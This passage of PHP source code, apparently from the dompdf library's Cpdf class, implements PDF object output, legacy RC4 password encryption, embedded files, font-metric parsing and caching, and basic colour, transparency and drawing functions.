                        case 'Location':
                        case 'Reason':
                        case 'ContactInfo':
                            if ($v !== null && $v !== '') {
                                $res .= "/$k (" .
                                  ($encrypted ? $this->filterText($this->ARC4($v), false, false) : $v) . ") \n";
                            }
                            break;
                    }
                }
                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * encryption object.
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_encryption($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                // make the new object
                $this->objects[$id] = ['t' => 'encryption', 'info' => $options];
                $this->arc4_objnum = $id;
                break;

            case 'keys':
                // figure out the additional parameters required
                $pad = chr(0x28) . chr(0xBF) . chr(0x4E) . chr(0x5E) . chr(0x4E) . chr(0x75) . chr(0x8A) . chr(0x41)
                    . chr(0x64) . chr(0x00) . chr(0x4E) . chr(0x56) . chr(0xFF) . chr(0xFA) . chr(0x01) . chr(0x08)
                    . chr(0x2E) . chr(0x2E) . chr(0x00) . chr(0xB6) . chr(0xD0) . chr(0x68) . chr(0x3E) . chr(0x80)
                    . chr(0x2F) . chr(0x0C) . chr(0xA9) . chr(0xFE) . chr(0x64) . chr(0x53) . chr(0x69) . chr(0x7A);

                $info = $this->objects[$id]['info'];

                $len = mb_strlen($info['owner'], '8bit');

                if ($len > 32) {
                    $owner = substr($info['owner'], 0, 32);
                } else {
                    if ($len < 32) {
                        $owner = $info['owner'] . substr($pad, 0, 32 - $len);
                    } else {
                        $owner = $info['owner'];
                    }
                }

                $len = mb_strlen($info['user'], '8bit');
                if ($len > 32) {
                    $user = substr($info['user'], 0, 32);
                } else {
                    if ($len < 32) {
                        $user = $info['user'] . substr($pad, 0, 32 - $len);
                    } else {
                        $user = $info['user'];
                    }
                }

                $tmp = $this->md5_16($owner);
                $okey = substr($tmp, 0, 5);
                $this->ARC4_init($okey);
                $ovalue = $this->ARC4($user);
                $this->objects[$id]['info']['O'] = $ovalue;

                // now make the u value, phew.
                $tmp = $this->md5_16(
                    $user . $ovalue . chr($info['p']) . chr(255) . chr(255) . chr(255) . hex2bin($this->fileIdentifier)
                );

                $ukey = substr($tmp, 0, 5);
                $this->ARC4_init($ukey);
                $this->encryptionKey = $ukey;
                $this->encrypted = true;
                $uvalue = $this->ARC4($pad);
                $this->objects[$id]['info']['U'] = $uvalue;
                // initialize the arc4 array
                break;

            case 'out':
                $o = &$this->objects[$id];

                $res = "\n$id 0 obj\n<<";
                $res .= "\n/Filter /Standard";
                $res .= "\n/V 1";
                $res .= "\n/R 2";
                $res .= "\n/O (" . $this->filterText($o['info']['O'], false, false) . ')';
                $res .= "\n/U (" . $this->filterText($o['info']['U'], false, false) . ')';
                // and the p-value needs to be converted to account for the twos-complement approach
                $o['info']['p'] = (($o['info']['p'] ^ 255) + 1) * -1;
                $res .= "\n/P " . ($o['info']['p']);
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    protected function o_indirect_references($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
            case 'add':
                if ($id === 0) {
                    $id = ++$this->numObj;
                    $this->o_catalog($this->catalogId, 'names', $id);
                    $this->objects[$id] = ['t' => 'indirect_references', 'info' => $options];
                    $this->indirectReferenceId = $id;
                } else {
                    $this->objects[$id]['info'] = array_merge($this->objects[$id]['info'], $options);
                }
                break;
            case 'out':
                $res = "\n$id 0 obj << ";

                foreach ($this->objects[$id]['info'] as $referenceObjName => $referenceObjId) {
                    $res .= "/$referenceObjName $referenceObjId 0 R ";
                }

                $res .= ">> endobj";
                return $res;
        }

        return null;
    }

    protected function o_names($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
            case 'add':
                if ($id === 0) {
                    $id = ++$this->numObj;
                    $this->objects[$id] = ['t' => 'names', 'info' => [$options]];
                    $this->o_indirect_references($this->indirectReferenceId, 'add', ['EmbeddedFiles' => $id]);
                    $this->embeddedFilesId = $id;
                } else {
                    $this->objects[$id]['info'][] = $options;
                }
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];
                $res = '';
                if (count($info) > 0) {
                    $res = "\n$id 0 obj << /Names [ ";

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                    }

                    foreach ($info as $entry) {
                        if ($this->encrypted) {
                            $filename = $this->ARC4($entry['filename']);
                        } else {
                            $filename = $entry['filename'];
                        }

                        $res .= "($filename) " . $entry['dict_reference'] . " 0 R ";
                    }

                    $res .= "] >> endobj";
                }
                return $res;
        }

        return null;
    }

    protected function o_embedded_file_dictionary($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
                $embeddedFileId = ++$this->numObj;
                $options['embedded_reference'] = $embeddedFileId;
                $this->objects[$id] = ['t' => 'embedded_file_dictionary', 'info' => $options];
                $this->o_embedded_file($embeddedFileId, 'new', $options);
                $options['dict_reference'] = $id;
                $this->o_names($this->embeddedFilesId, 'add', $options);
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];
                $filename = $this->utf8toUtf16BE($info['filename']);
                $description = $this->utf8toUtf16BE($info['description']);

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $filename = $this->ARC4($filename);
                    $description = $this->ARC4($description);
                }

                $filename = $this->filterText($filename, false, false);
                $description = $this->filterText($description, false, false);

                $res = "\n$id 0 obj <</Type /Filespec /EF";
                $res .= " <</F " . $info['embedded_reference'] . " 0 R >>";
                $res .= " /F ($filename) /UF ($filename) /Desc ($description)";
                $res .= " >> endobj";
                return $res;
        }

        return null;
    }

    protected function o_embedded_file($id, $action, $options = null): ?string
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'embedded_file', 'info' => $options];
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];

                if ($this->compressionReady) {
                    $filepath = $info['filepath'];
                    $checksum = md5_file($filepath);
                    $f = fopen($filepath, "rb");

                    $file_content_compressed = '';
                    $deflateContext = deflate_init(ZLIB_ENCODING_DEFLATE, ['level' => 6]);
                    while (($block = fread($f, 8192))) {
                        $file_content_compressed .= deflate_add($deflateContext, $block, ZLIB_NO_FLUSH);
                    }
                    $file_content_compressed .= deflate_add($deflateContext, '', ZLIB_FINISH);
                    $file_size_uncompressed = ftell($f);
                    fclose($f);
                } else {
                    $file_content = file_get_contents($info['filepath']);
                    $file_size_uncompressed = mb_strlen($file_content, '8bit');
                    $checksum = md5($file_content);
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $checksum = $this->ARC4($checksum);
                    $file_content_compressed = $this->ARC4($file_content_compressed);
                }
                $file_size_compressed = mb_strlen($file_content_compressed, '8bit');

                $res = "\n$id 0 obj <</Params <</Size $file_size_uncompressed /CheckSum ($checksum) >>" .
                    " /Type/EmbeddedFile /Filter/FlateDecode" .
                    " /Length $file_size_compressed >> stream\n$file_content_compressed\nendstream\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * ARC4 functions
     * A series of function to implement ARC4 encoding in PHP
     */

    /**
     * calculate the 16 byte version of the 128 bit md5 digest of the string
     *
     * @param $string
     * @return string
     */
    function md5_16($string)
    {
        $tmp = md5($string);
        $out = '';
        for ($i = 0; $i <= 30; $i = $i + 2) {
            $out .= chr(hexdec(substr($tmp, $i, 2)));
        }

        return $out;
    }

    /**
     * initialize the encryption for processing a particular object
     *
     * @param $id
     */
    function encryptInit($id)
    {
        $tmp = $this->encryptionKey;
        $hex = dechex($id);
        if (mb_strlen($hex, '8bit') < 6) {
            $hex = substr('000000', 0, 6 - mb_strlen($hex, '8bit')) . $hex;
        }
        $tmp .= chr(hexdec(substr($hex, 4, 2)))
            . chr(hexdec(substr($hex, 2, 2)))
            . chr(hexdec(substr($hex, 0, 2)))
            . chr(0)
            . chr(0)
        ;
        $key = $this->md5_16($tmp);
        $this->ARC4_init(substr($key, 0, 10));
    }

    /**
     * initialize the ARC4 encryption
     *
     * @param string $key
     */
    function ARC4_init($key = '')
    {
        $this->arc4 = '';

        // setup the control array
        if (mb_strlen($key, '8bit') == 0) {
            return;
        }

        $k = '';
        while (mb_strlen($k, '8bit') < 256) {
            $k .= $key;
        }

        $k = substr($k, 0, 256);
        for ($i = 0; $i < 256; $i++) {
            $this->arc4 .= chr($i);
        }

        $j = 0;

        for ($i = 0; $i < 256; $i++) {
            $t = $this->arc4[$i];
            $j = ($j + ord($t) + ord($k[$i])) % 256;
            $this->arc4[$i] = $this->arc4[$j];
            $this->arc4[$j] = $t;
        }
    }

    /**
     * ARC4 encrypt a text string
     *
     * @param $text
     * @return string
     */
    function ARC4($text)
    {
        $len = mb_strlen($text, '8bit');
        $a = 0;
        $b = 0;
        $c = $this->arc4;
        $out = '';
        for ($i = 0; $i < $len; $i++) {
            $a = ($a + 1) % 256;
            $t = $c[$a];
            $b = ($b + ord($t)) % 256;
            $c[$a] = $c[$b];
            $c[$b] = $t;
            $k = ord($c[(ord($c[$a]) + ord($c[$b])) % 256]);
            $out .= chr(ord($text[$i]) ^ $k);
        }

        return $out;
    }

    /**
     * functions which can be called to adjust or add to the document
     */

    /**
     * add a link in the document to an external URL
     *
     * @param $url
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     */
    function addLink($url, $x0, $y0, $x1, $y1)
    {
        $this->numObj++;
        $info = ['type' => 'link', 'url' => $url, 'rect' => [$x0, $y0, $x1, $y1]];
        $this->o_annotation($this->numObj, 'new', $info);
    }

    /**
     * add a link in the document to an internal destination (ie. within the document)
     *
     * @param $label
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     */
    function addInternalLink($label, $x0, $y0, $x1, $y1)
    {
        $this->numObj++;
        $info = ['type' => 'ilink', 'label' => $label, 'rect' => [$x0, $y0, $x1, $y1]];
        $this->o_annotation($this->numObj, 'new', $info);
    }

    /**
     * set the encryption of the document
     * can be used to turn it on and/or set the passwords which it will have.
     * also the functions that the user will have are set here, such as print, modify, add
     *
     * @param string $userPass
     * @param string $ownerPass
     * @param array $pc
     */
    function setEncryption($userPass = '', $ownerPass = '', $pc = [])
    {
        $p = bindec("11000000");

        $options = ['print' => 4, 'modify' => 8, 'copy' => 16, 'add' => 32];

        foreach ($pc as $k => $v) {
            if ($v && isset($options[$k])) {
                $p += $options[$k];
            } else {
                if (isset($options[$v])) {
                    $p += $options[$v];
                }
            }
        }

        // implement encryption on the document
        if ($this->arc4_objnum == 0) {
            // then the block does not exist already, add it.
            $this->numObj++;
            if (mb_strlen($ownerPass) == 0) {
                $ownerPass = $userPass;
            }

            $this->o_encryption($this->numObj, 'new', ['user' => $userPass, 'owner' => $ownerPass, 'p' => $p]);
        }
    }

    /**
     * should be used for internal checks, not implemented as yet
     */
    function checkAllHere()
    {
    }

    /**
     * return the pdf stream as a string returned from the function
     *
     * @param bool $debug
     * @return string
     */
    function output($debug = false)
    {
        if ($debug) {
            // turn compression off
            $this->options['compression'] = false;
        }

        if ($this->javascript) {
            $this->numObj++;

            $js_id = $this->numObj;
            $this->o_embedjs($js_id, 'new');
            $this->o_javascript(++$this->numObj, 'new', $this->javascript);

            $id = $this->catalogId;

            $this->o_indirect_references($this->indirectReferenceId, 'add', ['JavaScript' => $js_id]);
        }

        if ($this->fileIdentifier === '') {
            $tmp = implode('', $this->objects[$this->infoObject]['info']);
            $this->fileIdentifier = md5('DOMPDF' . __FILE__ . $tmp . microtime() . mt_rand());
        }

        if ($this->arc4_objnum) {
            $this->o_encryption($this->arc4_objnum, 'keys');
            $this->ARC4_init($this->encryptionKey);
        }

        $this->checkAllHere();

        $xref = [];
        $content = '%PDF-' . self::PDF_VERSION;
        $pos = mb_strlen($content, '8bit');

        // pre-process o_font objects before output of all objects
        foreach ($this->objects as $k => $v) {
            if ($v['t'] === 'font') {
                $this->o_font($k, 'add');
            }
        }

        foreach ($this->objects as $k => $v) {
            $tmp = 'o_' . $v['t'];
            $cont = $this->$tmp($k, 'out');
            $content .= $cont;
            $xref[] = $pos + 1; //+1 to account for \n at the start of each object
            $pos += mb_strlen($cont, '8bit');
        }

        $content .= "\nxref\n0 " . (count($xref) + 1) . "\n0000000000 65535 f \n";

        foreach ($xref as $p) {
            $content .= str_pad($p, 10, "0", STR_PAD_LEFT) . " 00000 n \n";
        }

        $content .= "trailer\n<<\n" .
            '/Size ' . (count($xref) + 1) . "\n" .
            '/Root 1 0 R' . "\n" .
            '/Info ' . $this->infoObject . " 0 R\n"
        ;

        // if encryption has been applied to this document then add the marker for this dictionary
        if ($this->arc4_objnum > 0) {
            $content .= '/Encrypt ' . $this->arc4_objnum . " 0 R\n";
        }

        $content .= '/ID[<' . $this->fileIdentifier . '><' . $this->fileIdentifier . ">]\n";

        // account for \n added at start of xref table
        $pos++;

        $content .= ">>\nstartxref\n$pos\n%%EOF\n";

        if (count($this->byteRange) > 0) {
            foreach ($this->byteRange as $k => $v) {
                $tmp = 'o_' . $v['t'];
                $this->$tmp($k, 'byterange', ['content' => &$content]);
            }
        }

        return $content;
    }

    /**
     * initialize a new document
     * if this is called on an existing document results may be unpredictable, but the existing document would be lost at minimum
     * this function is called automatically by the constructor function
     *
     * @param array $pageSize
     */
    private function newDocument($pageSize = [0, 0, 612, 792])
    {
        $this->numObj = 0;
        $this->objects = [];

        $this->numObj++;
        $this->o_catalog($this->numObj, 'new');

        $this->numObj++;
        $this->o_outlines($this->numObj, 'new');

        $this->numObj++;
        $this->o_pages($this->numObj, 'new');

        $this->o_pages($this->numObj, 'mediaBox', $pageSize);
        $this->currentNode = 3;

        $this->numObj++;
        $this->o_procset($this->numObj, 'new');

        $this->numObj++;
        $this->o_info($this->numObj, 'new');

        $this->numObj++;
        $this->o_page($this->numObj, 'new');

        // need to store the first page id as there is no way to get it to the user during
        // startup
        $this->firstPageId = $this->currentContents;
    }

    /**
     * open the font file and return a php structure containing it.
     * first check if this one has been done before and saved in a form more suited to php
     * note that if a php serialized version does not exist it will try and make one, but will
     * require write access to the directory to do it... it is MUCH faster to have these serialized
     * files.
     *
     * @param $font
     */
    private function openFont($font)
    {
        // assume that $font contains the path and file but not the extension
        $name = basename($font);
        $dir = dirname($font);

        $fontcache = $this->fontcache;
        if ($fontcache == '') {
            $fontcache = $dir;
        }

        //$name       filename without folder and extension of font metrics
        //$dir        folder of font metrics
        //$fontcache  folder of runtime created php serialized version of font metrics.
        //            If this is not given, the same folder as the font metrics will be used.
        //            Storing and reusing serialized versions improves speed much

        $this->addMessage("openFont: $font - $name");

        if (!$this->isUnicode || in_array(mb_strtolower(basename($name)), self::$coreFonts)) {
            $metrics_name = "$name.afm";
        } else {
            $metrics_name = "$name.ufm";
        }

        $cache_name = "$metrics_name.json";
        $this->addMessage("metrics: $metrics_name, cache: $cache_name");

        if (file_exists($fontcache . '/' . $cache_name)) {
            $this->addMessage("openFont: json metrics file exists $fontcache/$cache_name");
            $cached_font_info = json_decode(file_get_contents($fontcache . '/' . $cache_name), true);
            if (!isset($cached_font_info['_version_']) || $cached_font_info['_version_'] != $this->fontcacheVersion) {
                $this->addMessage('openFont: font cache is out of date, regenerating');
            } else {
                $this->fonts[$font] = $cached_font_info;
            }
        }

        if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {
            // then rebuild the php_<font>.afm file from the <font>.afm file
            $this->addMessage("openFont: build php file from $dir/$metrics_name");
            $data = [];

            // 20 => 'space'
            $data['codeToName'] = [];

            // Since we're not going to enable Unicode for the core fonts we need to use a font-based
            // setting for Unicode support rather than a global setting.
            $data['isUnicode'] = (strtolower(substr($metrics_name, -3)) !== 'afm');

            $cidtogid = '';
            if ($data['isUnicode']) {
                $cidtogid = str_pad('', 256 * 256 * 2, "\x00");
            }

            $file = file("$dir/$metrics_name");

            foreach ($file as $rowA) {
                $row = trim($rowA);
                $pos = strpos($row, ' ');

                if ($pos) {
                    // then there must be some keyword
                    $key = substr($row, 0, $pos);
                    switch ($key) {
                        case 'FontName':
                        case 'FullName':
                        case 'FamilyName':
                        case 'PostScriptName':
                        case 'Weight':
                        case 'ItalicAngle':
                        case 'IsFixedPitch':
                        case 'CharacterSet':
                        case 'UnderlinePosition':
                        case 'UnderlineThickness':
                        case 'Version':
                        case 'EncodingScheme':
                        case 'CapHeight':
                        case 'XHeight':
                        case 'Ascender':
                        case 'Descender':
                        case 'StdHW':
                        case 'StdVW':
                        case 'StartCharMetrics':
                        case 'FontHeightOffset': // OAR - Added so we can offset the height calculation of a Windows font.  Otherwise it's too big.
                            $data[$key] = trim(substr($row, $pos));
                            break;

                        case 'FontBBox':
                            $data[$key] = explode(' ', trim(substr($row, $pos)));
                            break;

                        //C 39 ; WX 222 ; N quoteright ; B 53 463 157 718 ;
                        case 'C': // Found in AFM files
                            $bits = explode(';', trim($row));
                            $dtmp = ['C' => null, 'N' => null, 'WX' => null, 'B' => []];

                            foreach ($bits as $bit) {
                                $bits2 = explode(' ', trim($bit));
                                if (mb_strlen($bits2[0], '8bit') == 0) {
                                    continue;
                                }

                                if (count($bits2) > 2) {
                                    $dtmp[$bits2[0]] = [];
                                    for ($i = 1; $i < count($bits2); $i++) {
                                        $dtmp[$bits2[0]][] = $bits2[$i];
                                    }
                                } else {
                                    if (count($bits2) == 2) {
                                        $dtmp[$bits2[0]] = $bits2[1];
                                    }
                                }
                            }

                            $c = (int)$dtmp['C'];
                            $n = $dtmp['N'];
                            $width = floatval($dtmp['WX']);

                            if ($c >= 0) {
                                if (!ctype_xdigit($n) || $c != hexdec($n)) {
                                    $data['codeToName'][$c] = $n;
                                }
                                $data['C'][$c] = $width;
                            } elseif (isset($n)) {
                                $data['C'][$n] = $width;
                            }

                            if (!isset($data['MissingWidth']) && $c === -1 && $n === '.notdef') {
                                $data['MissingWidth'] = $width;
                            }

                            break;

                        // U 827 ; WX 0 ; N squaresubnosp ; G 675 ;
                        case 'U': // Found in UFM files
                            if (!$data['isUnicode']) {
                                break;
                            }

                            $bits = explode(';', trim($row));
                            $dtmp = ['G' => null, 'N' => null, 'U' => null, 'WX' => null];

                            foreach ($bits as $bit) {
                                $bits2 = explode(' ', trim($bit));
                                if (mb_strlen($bits2[0], '8bit') === 0) {
                                    continue;
                                }

                                if (count($bits2) > 2) {
                                    $dtmp[$bits2[0]] = [];
                                    for ($i = 1; $i < count($bits2); $i++) {
                                        $dtmp[$bits2[0]][] = $bits2[$i];
                                    }
                                } else {
                                    if (count($bits2) == 2) {
                                        $dtmp[$bits2[0]] = $bits2[1];
                                    }
                                }
                            }

                            $c = (int)$dtmp['U'];
                            $n = $dtmp['N'];
                            $glyph = $dtmp['G'];
                            $width = floatval($dtmp['WX']);

                            if ($c >= 0) {
                                // Set values in CID to GID map
                                if ($c >= 0 && $c < 0xFFFF && $glyph) {
                                    $cidtogid[$c * 2] = chr($glyph >> 8);
                                    $cidtogid[$c * 2 + 1] = chr($glyph & 0xFF);
                                }

                                if (!ctype_xdigit($n) || $c != hexdec($n)) {
                                    $data['codeToName'][$c] = $n;
                                }
                                $data['C'][$c] = $width;
                            } elseif (isset($n)) {
                                $data['C'][$n] = $width;
                            }

                            if (!isset($data['MissingWidth']) && $c === -1 && $n === '.notdef') {
                                $data['MissingWidth'] = $width;
                            }

                            break;

                        case 'KPX':
                            break; // don't include them as they are not used yet
                            //KPX Adieresis yacute -40
                            /*$bits = explode(' ', trim($row));
                            $data['KPX'][$bits[1]][$bits[2]] = $bits[3];
                            break;*/
                    }
                }
            }

            if ($this->compressionReady && $this->options['compression']) {
                // then implement ZLIB based compression on CIDtoGID string
                $data['CIDtoGID_Compressed'] = true;
                $cidtogid = gzcompress($cidtogid, 6);
            }
            $data['CIDtoGID'] = base64_encode($cidtogid);
            $data['_version_'] = $this->fontcacheVersion;
            $this->fonts[$font] = $data;

            //Because of potential trouble with php safe mode, expect that the folder already exists.
            //If not existing, this will hit performance because of missing cached results.
            if (is_dir($fontcache) && is_writable($fontcache)) {
                file_put_contents("$fontcache/$cache_name", json_encode($data, JSON_PRETTY_PRINT));
            }
            $data = null;
        }

        if (!isset($this->fonts[$font])) {
            $this->addMessage("openFont: no font file found for $font. Do you need to run load_font.php?");
        }
    }

    /**
     * if the font is not loaded then load it and make the required object
     * else just make it the current font
     * the encoding array can contain 'encoding'=> 'none','WinAnsiEncoding','MacRomanEncoding' or 'MacExpertEncoding'
     * note that encoding='none' will need to be used for symbolic fonts
     * and 'differences' => an array of mappings between numbers 0->255 and character names.
     *
     * @param string $fontName
     * @param string $encoding
     * @param bool $set
     * @param bool $isSubsetting
     * @return int
     * @throws FontNotFoundException
     */
    function selectFont($fontName, $encoding = '', $set = true, $isSubsetting = true)
    {
        if ($fontName === null || $fontName === '') {
            return $this->currentFontNum;
        }

        $ext = substr($fontName, -4);
        if ($ext === '.afm' || $ext === '.ufm') {
            $fontName = substr($fontName, 0, mb_strlen($fontName) - 4);
        }

        if (!isset($this->fonts[$fontName])) {
            $this->addMessage("selectFont: selecting - $fontName - $encoding, $set");

            // load the file
            $this->openFont($fontName);

            if (isset($this->fonts[$fontName])) {
                $this->numObj++;
                $this->numFonts++;

                $font = &$this->fonts[$fontName];

                $name = basename($fontName);
                $options = ['name' => $name, 'fontFileName' => $fontName, 'isSubsetting' => $isSubsetting];

                if (is_array($encoding)) {
                    // then encoding and differences might be set
                    if (isset($encoding['encoding'])) {
                        $options['encoding'] = $encoding['encoding'];
                    }

                    if (isset($encoding['differences'])) {
                        $options['differences'] = $encoding['differences'];
                    }
                } else {
                    if (mb_strlen($encoding, '8bit')) {
                        // then perhaps only the encoding has been set
                        $options['encoding'] = $encoding;
                    }
                }

                $this->o_font($this->numObj, 'new', $options);

                if (file_exists("$fontName.ttf")) {
                    $fileSuffix = 'ttf';
                } elseif (file_exists("$fontName.TTF")) {
                    $fileSuffix = 'TTF';
                } elseif (file_exists("$fontName.pfb")) {
                    $fileSuffix = 'pfb';
                } elseif (file_exists("$fontName.PFB")) {
                    $fileSuffix = 'PFB';
                } else {
                    $fileSuffix = '';
                }

                $font['fileSuffix'] = $fileSuffix;

                $font['fontNum'] = $this->numFonts;
                $font['isSubsetting'] = $isSubsetting && $font['isUnicode'] && strtolower($fileSuffix) === 'ttf';

                // also set the differences here, note that this means that these will take effect only the
                //first time that a font is selected, else they are ignored
                if (isset($options['differences'])) {
                    $font['differences'] = $options['differences'];
                }
            }
        }

        if ($set && isset($this->fonts[$fontName])) {
            // so if for some reason the font was not set in the last one then it will not be selected
            $this->currentBaseFont = $fontName;

            // the next lines mean that if a new font is selected, then the current text state will be
            // applied to it as well.
            $this->currentFont = $this->currentBaseFont;
            $this->currentFontNum = $this->fonts[$this->currentFont]['fontNum'];
        }

        return $this->currentFontNum;
    }

    /**
     * sets up the current font, based on the font families, and the current text state
     * note that this system is quite flexible, a bold-italic font can be completely different to a
     * italic-bold font, and even bold-bold will have to be defined within the family to have meaning
     * This function is to be called whenever the currentTextState is changed, it will update
     * the currentFont setting to whatever the appropriate family one is.
     * If the user calls selectFont themselves then that will reset the currentBaseFont, and the currentFont
     * This function will change the currentFont to whatever it should be, but will not change the
     * currentBaseFont.
     */
    private function setCurrentFont()
    {
        //   if (strlen($this->currentBaseFont) == 0){
        //     // then assume an initial font
        //     $this->selectFont($this->defaultFont);
        //   }
        //   $cf = substr($this->currentBaseFont,strrpos($this->currentBaseFont,'/')+1);
        //   if (strlen($this->currentTextState)
        //     && isset($this->fontFamilies[$cf])
        //       && isset($this->fontFamilies[$cf][$this->currentTextState])){
        //     // then we are in some state or another
        //     // and this font has a family, and the current setting exists within it
        //     // select the font, then return it
        //     $nf = substr($this->currentBaseFont,0,strrpos($this->currentBaseFont,'/')+1).$this->fontFamilies[$cf][$this->currentTextState];
        //     $this->selectFont($nf,'',0);
        //     $this->currentFont = $nf;
        //     $this->currentFontNum = $this->fonts[$nf]['fontNum'];
        //   } else {
        //     // the this font must not have the right family member for the current state
        //     // simply assume the base font
        $this->currentFont = $this->currentBaseFont;
        $this->currentFontNum = $this->fonts[$this->currentFont]['fontNum'];
        //  }
    }

    /**
     * function for the user to find out what the ID is of the first page that was created during
     * startup - useful if they wish to add something to it later.
     *
     * @return int
     */
    function getFirstPageId()
    {
        return $this->firstPageId;
    }

    /**
     * add content to the currently active object
     *
     * @param $content
     */
    private function addContent($content)
    {
        $this->objects[$this->currentContents]['c'] .= $content;
    }

    /**
     * sets the color for fill operations
     *
     * @param array $color
     * @param bool  $force
     */
    function setColor($color, $force = false)
    {
        $new_color = [$color[0], $color[1], $color[2], isset($color[3]) ? $color[3] : null];

        if (!$force && $this->currentColor == $new_color) {
            return;
        }

        if (isset($new_color[3])) {
            $this->currentColor = $new_color;
            $this->addContent(vsprintf("\n%.3F %.3F %.3F %.3F k", $this->currentColor));
        } else {
            if (isset($new_color[2])) {
                $this->currentColor = $new_color;
                $this->addContent(vsprintf("\n%.3F %.3F %.3F rg", $this->currentColor));
            }
        }
    }

    /**
     * sets the color for fill operations
     *
     * @param string $fillRule
     */
    function setFillRule($fillRule)
    {
        if (!in_array($fillRule, ["nonzero", "evenodd"])) {
            return;
        }

        $this->fillRule = $fillRule;
    }

    /**
     * sets the color for stroke operations
     *
     * @param array $color
     * @param bool  $force
     */
    function setStrokeColor($color, $force = false)
    {
        $new_color = [$color[0], $color[1], $color[2], isset($color[3]) ? $color[3] : null];

        if (!$force && $this->currentStrokeColor == $new_color) {
            return;
        }

        if (isset($new_color[3])) {
            $this->currentStrokeColor = $new_color;
            $this->addContent(vsprintf("\n%.3F %.3F %.3F %.3F K", $this->currentStrokeColor));
        } else {
            if (isset($new_color[2])) {
                $this->currentStrokeColor = $new_color;
                $this->addContent(vsprintf("\n%.3F %.3F %.3F RG", $this->currentStrokeColor));
            }
        }
    }

    /**
     * Set the graphics state for compositions
     *
     * @param $parameters
     */
    function setGraphicsState($parameters)
    {
        // Create a new graphics state object if necessary
        if (($gstate = array_search($parameters, $this->gstates)) === false) {
            $this->numObj++;
            $this->o_extGState($this->numObj, 'new', $parameters);
            $gstate = $this->numStates;
            $this->gstates[$gstate] = $parameters;
        }
        $this->addContent("\n/GS$gstate gs");
    }

    /**
     * Set current blend mode & opacity for lines.
     *
     * Valid blend modes are:
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDogde, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    the blend mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    function setLineTransparency($mode, $opacity)
    {
        static $blend_modes = [
            "Normal",
            "Multiply",
            "Screen",
            "Overlay",
            "Darken",
            "Lighten",
            "ColorDogde",
            "ColorBurn",
            "HardLight",
            "SoftLight",
            "Difference",
            "Exclusion"
        ];

        if (!in_array($mode, $blend_modes)) {
            $mode = "Normal";
        }

        if (is_null($this->currentLineTransparency)) {
            $this->currentLineTransparency = [];
        }

        if ($mode === (key_exists('mode', $this->currentLineTransparency) ?
            $this->currentLineTransparency['mode'] : '') &&
            $opacity === (key_exists('opacity', $this->currentLineTransparency) ?
            $this->currentLineTransparency["opacity"] : '')) {
            return;
        }

        $this->currentLineTransparency["mode"] = $mode;
        $this->currentLineTransparency["opacity"] = $opacity;

        $options = [
            "BM" => "/$mode",
            "CA" => (float)$opacity
        ];

        $this->setGraphicsState($options);
    }

    /**
     * Set current blend mode & opacity for filled objects.
     *
     * Valid blend modes are:
     *
     * Normal, Multiply, Screen, Overlay, Darken, Lighten,
     * ColorDogde, ColorBurn, HardLight, SoftLight, Difference,
     * Exclusion
     *
     * @param string $mode    the blend mode to use
     * @param float  $opacity 0.0 fully transparent, 1.0 fully opaque
     */
    function setFillTransparency($mode, $opacity)
    {
        static $blend_modes = [
            "Normal",
            "Multiply",
            "Screen",
            "Overlay",
            "Darken",
            "Lighten",
            "ColorDogde",
            "ColorBurn",
            "HardLight",
            "SoftLight",
            "Difference",
            "Exclusion"
        ];

        if (!in_array($mode, $blend_modes)) {
            $mode = "Normal";
        }

        if (is_null($this->currentFillTransparency)) {
            $this->currentFillTransparency = [];
        }

        if ($mode === (key_exists('mode', $this->currentFillTransparency) ?
            $this->currentFillTransparency['mode'] : '') &&
            $opacity === (key_exists('opacity', $this->currentFillTransparency) ?
            $this->currentFillTransparency["opacity"] : '')) {
            return;
        }

        $this->currentFillTransparency["mode"] = $mode;
        $this->currentFillTransparency["opacity"] = $opacity;

        $options = [
            "BM" => "/$mode",
            "ca" => (float)$opacity,
        ];

        $this->setGraphicsState($options);
    }

    /**
     * draw a line from one set of coordinates to another
     *
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param bool  $stroke
     */
    function line($x1, $y1, $x2, $y2, $stroke = true)
    {
        $this->addContent(sprintf("\n%.3F %.3F m %.3F %.3F l", $x1, $y1, $x2, $y2));

        if ($stroke) {
            $this->addContent(' S');
        }
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $x0
     * @param float $y0
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param float $x3
     * @param float $y3
     */
    function curve($x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3)
    {
        // in the current line style, draw a bezier curve from (x0,y0) to (x3,y3) using the other two points
        // as the control points for the curve.
        $this->addContent(
            sprintf("\n%.3F %.3F m %.3F %.3F %.3F %.3F %.3F %.3F c S", $x0, $y0, $x1, $y1, $x2, $y2, $x3, $y3)
        );
    }

    /**
     * draw a part of an ellipse
     *
     * @param float $x0
     * @param float $y0
     * @param float $astart
     * @param float $afinish
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int $nSeg
     */
    function partEllipse($x0, $y0, $astart, $afinish, $r1, $r2 = 0, $angle = 0, $nSeg = 8)
    {
        $this->ellipse($x0, $y0, $r1, $r2, $angle, $nSeg, $astart, $afinish, false);
    }

    /**
     * draw a filled ellipse
     *
     * @param float $x0
     * @param float $y0
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int $nSeg
